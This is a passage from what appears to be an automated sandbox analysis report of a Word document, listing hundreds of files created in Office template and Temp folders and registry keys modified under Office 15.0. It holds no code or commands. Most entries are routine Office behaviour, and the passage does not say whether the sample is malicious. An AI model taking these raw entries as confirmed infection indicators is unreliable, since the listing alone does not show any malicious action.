  1133. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457515[[fn=View]].xml",
  1134. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033919[[fn=Circuit]].eftx",
  1135. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033927[[fn=Main Event]].eftx",
  1136. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM10001105[[fn=Crop]].xml",
  1137. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033937[[fn=Vapor Trail]].xml",
  1138. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457475[[fn=Frame]].xml",
  1139. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457464[[fn=Dividend]].xml",
  1140. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033919[[fn=Circuit]].xml",
  1141. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457515[[fn=View]].xml",
  1142. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033927[[fn=Main Event]].xml",
  1143. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457475[[fn=Frame]].xml",
  1144. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033919[[fn=Circuit]].xml",
  1145. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457464[[fn=Dividend]].xml",
  1146. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM10001105[[fn=Crop]].xml",
  1147. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033937[[fn=Vapor Trail]].xml",
  1148. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033927[[fn=Main Event]].xml",
  1149. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD47FA.tmp",
  1150. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD481B.tmp",
  1151. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD480A.tmp",
  1152. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD482C.tmp",
  1153. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD47FA.tmp\\InterconnectedBlockProcess.glox",
  1154. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD484C.tmp",
  1155. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD488B.tmp",
  1156. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD489D.tmp",
  1157. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD48DF.tmp",
  1158. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD481B.tmp\\ConvergingText.glox",
  1159. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD489E.tmp",
  1160. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD48DE.tmp",
  1161. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD48EF.tmp",
  1162. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD489C.tmp",
  1163. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40FD.tmp",
  1164. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4163.tmp",
  1165. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD496D.tmp",
  1166. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD49DE.tmp",
  1167. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4B19.tmp",
  1168. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD49DE.tmp\\ThemePictureAccent.glox",
  1169. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4BC7.tmp",
  1170. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4C55.tmp",
  1171. "C:\\Users\\user\\AppData\\Local\\Temp\\cab41E5.tmp",
  1172. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4CA4.tmp",
  1173. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD482C.tmp\\pictureorgchart.glox",
  1174. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4CD4.tmp",
  1175. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40FC.tmp",
  1176. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD484C.tmp\\sist02.xsl",
  1177. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD488B.tmp\\architecture.glox",
  1178. "C:\\Users\\user\\AppData\\Local\\Temp\\cab411F.tmp",
  1179. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4D23.tmp",
  1180. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40EB.tmp",
  1181. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD489E.tmp\\Banded.thmx",
  1182. "C:\\Users\\user\\AppData\\Local\\Temp\\cab44E9.tmp",
  1183. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD48DE.tmp\\chevronaccent.glox",
  1184. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4075.tmp",
  1185. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4ECB.tmp",
  1186. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4B19.tmp\\VaryingWidthList.glox",
  1187. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD496D.tmp\\iso690nmerical.xsl",
  1188. "C:\\Users\\user\\AppData\\Local\\Temp\\cab445B.tmp",
  1189. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40D8.tmp",
  1190. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD489D.tmp\\RadialPictureList.glox",
  1191. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD480A.tmp\\Metropolitan.thmx",
  1192. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4F68.tmp",
  1193. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD489C.tmp\\gb.xsl",
  1194. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4F69.tmp",
  1195. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4F99.tmp",
  1196. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4691.tmp",
  1197. "C:\\Users\\user\\AppData\\Local\\Temp\\cab443B.tmp",
  1198. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4175.tmp",
  1199. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4FC9.tmp",
  1200. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5008.tmp",
  1201. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5028.tmp",
  1202. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4CD4.tmp\\BracketList.glox",
  1203. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5058.tmp",
  1204. "C:\\Users\\user\\AppData\\Local\\Temp\\cab41C5.tmp",
  1205. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5078.tmp",
  1206. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4C55.tmp\\iso690.xsl",
  1207. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD48EF.tmp\\CircleProcess.glox",
  1208. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40EC.tmp",
  1209. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD50D7.tmp",
  1210. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD50D8.tmp",
  1211. "C:\\Users\\user\\AppData\\Local\\Temp\\cab41C4.tmp",
  1212. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4BC7.tmp\\turabian.xsl",
  1213. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5127.tmp",
  1214. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40A6.tmp",
  1215. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4CA4.tmp\\ThemePictureAlternatingAccent.glox",
  1216. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5186.tmp",
  1217. "C:\\Users\\user\\AppData\\Local\\Temp\\cab411E.tmp",
  1218. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD51E5.tmp",
  1219. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD48DF.tmp\\Equations.dotx",
  1220. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4D23.tmp\\Basis.thmx",
  1221. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40D7.tmp",
  1222. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4595.tmp",
  1223. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4F99.tmp\\HexagonRadial.glox",
  1224. "C:\\Users\\user\\AppData\\Local\\Temp\\cab410E.tmp",
  1225. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4FC9.tmp\\APASixthEditionOfficeOnline.xsl",
  1226. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4174.tmp",
  1227. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5008.tmp\\Headlines.thmx",
  1228. "C:\\Users\\user\\AppData\\Local\\Temp\\cab49BD.tmp",
  1229. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4F68.tmp\\chicago.xsl",
  1230. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5058.tmp\\TabbedArc.glox",
  1231. "C:\\Users\\user\\AppData\\Local\\Temp\\cab45E5.tmp",
  1232. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40A5.tmp",
  1233. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5078.tmp\\TabList.glox",
  1234. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5186.tmp\\Badge.thmx",
  1235. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4ECB.tmp\\gostname.xsl",
  1236. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4A6C.tmp",
  1237. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4F69.tmp\\ieee2006officeonline.xsl",
  1238. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4132.tmp",
  1239. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD50D7.tmp\\PictureFrame.glox",
  1240. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD50D8.tmp\\Berlin.thmx",
  1241. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5127.tmp\\mlaseventheditionofficeonline.xsl",
  1242. "C:\\Users\\user\\AppData\\Local\\Temp\\cab49BC.tmp",
  1243. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4131.tmp",
  1244. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40B7.tmp",
  1245. "C:\\Users\\user\\AppData\\Local\\Temp\\cab442A.tmp",
  1246. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD51E5.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1247. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD561F.tmp",
  1248. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4130.tmp",
  1249. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD56AD.tmp",
  1250. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD561F.tmp\\Quotable.thmx",
  1251. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4BA7.tmp",
  1252. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5028.tmp\\Parallax.thmx",
  1253. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD57A8.tmp",
  1254. "C:\\Users\\user\\AppData\\Local\\Temp\\cab49DF.tmp",
  1255. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5846.tmp",
  1256. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD56AD.tmp\\Wood_Type.thmx",
  1257. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4E9B.tmp",
  1258. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD57A8.tmp\\Savon.thmx",
  1259. "C:\\Users\\user\\AppData\\Local\\Temp\\cab55DF.tmp",
  1260. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5941.tmp",
  1261. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5941.tmp\\Droplet.thmx",
  1262. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5846.tmp\\Damask.thmx",
  1263. "C:\\Users\\user\\AppData\\Local\\Temp\\cab55CF.tmp",
  1264. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5428.tmp",
  1265. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5AE8.tmp",
  1266. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5AE8.tmp\\Mesh.thmx",
  1267. "C:\\Users\\user\\AppData\\Local\\Temp\\cab57F7.tmp",
  1268. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5C70.tmp",
  1269. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5CBF.tmp",
  1270. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5C70.tmp\\ThemePictureGrid.glox",
  1271. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4215.tmp",
  1272. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5CBF.tmp\\Feathered.thmx",
  1273. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5C12.tmp",
  1274. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5E58.tmp",
  1275. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5E58.tmp\\Slate.thmx",
  1276. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5DCA.tmp",
  1277. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5F91.tmp",
  1278. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5F91.tmp\\harvardanglia2008officeonline.xsl",
  1279. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40E9.tmp",
  1280. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD60FA.tmp",
  1281. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD60FA.tmp\\rings.glox",
  1282. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4133.tmp",
  1283. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6197.tmp",
  1284. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6197.tmp\\gosttitle.xsl",
  1285. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40EA.tmp",
  1286. "C:\\Users\\user\\AppData\\Local\\Temp\\~DFB68C0033C32FB7E2.TMP",
  1287. "C:\\Users\\user\\AppData\\Local\\Temp\\~$zi_f77a7126c16e9c1ce83a0b2c824d7b7a.php",
  1288. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{B70E099B-142A-4FF5-8065-BBE6C3CCEF31}.tmp",
  1289. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1290. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{00DBD61E-D4B5-48F3-8121-2F7C79C6BFD2}.tmp",
  1291. "C:\\Users\\user\\AppData\\Local\\Temp\\CVR1B0.tmp.cvr",
  1292. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{52F9E308-D45A-4420-817C-19E6331BA6A9}.tmp"
  1293. ]
  1294.  
  1295. [*] Modified Registry Keys: [
  1296. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\<u%",
  1297. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Office\\15.0\\Word\\Text Converters\\Import",
  1298. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Office\\15.0\\Word\\Text Converters\\Import\\Name",
  1299. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Office\\15.0\\Word\\Text Converters\\Import\\Path",
  1300. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Office\\15.0\\Word\\Text Converters\\Import\\Extensions",
  1301. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache",
  1302. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\RemoteClearDate",
  1303. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1",
  1304. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\Last",
  1305. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0",
  1306. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\FilePath",
  1307. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\StartDate",
  1308. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\EndDate",
  1309. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Properties",
  1310. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Url",
  1311. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\LastClean",
  1312. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\VBAFiles",
  1313. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  1314. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  1315. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1316. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1317. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  1318. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\1F49F2",
  1319. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\1F49F2\\1F49F2",
  1320. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  1321. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  1322. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  1323. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1324. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1325. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  1326. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  1327. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  1328. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  1329. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  1330. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  1331. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  1332. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  1333. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  1334. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  1335. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  1336. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  1337. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  1338. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  1339. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  1340. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  1341. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  1342. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  1343. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  1344. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  1345. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  1346. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  1347. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  1348. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  1349. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  1350. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  1351. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  1352. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  1353. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1354. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  1355. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  1356. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  1357. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  1358. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  1359. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1360. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  1361. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  1362. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1363. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1364. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1365. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  1366. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  1367. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  1368. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  1369. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  1370. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
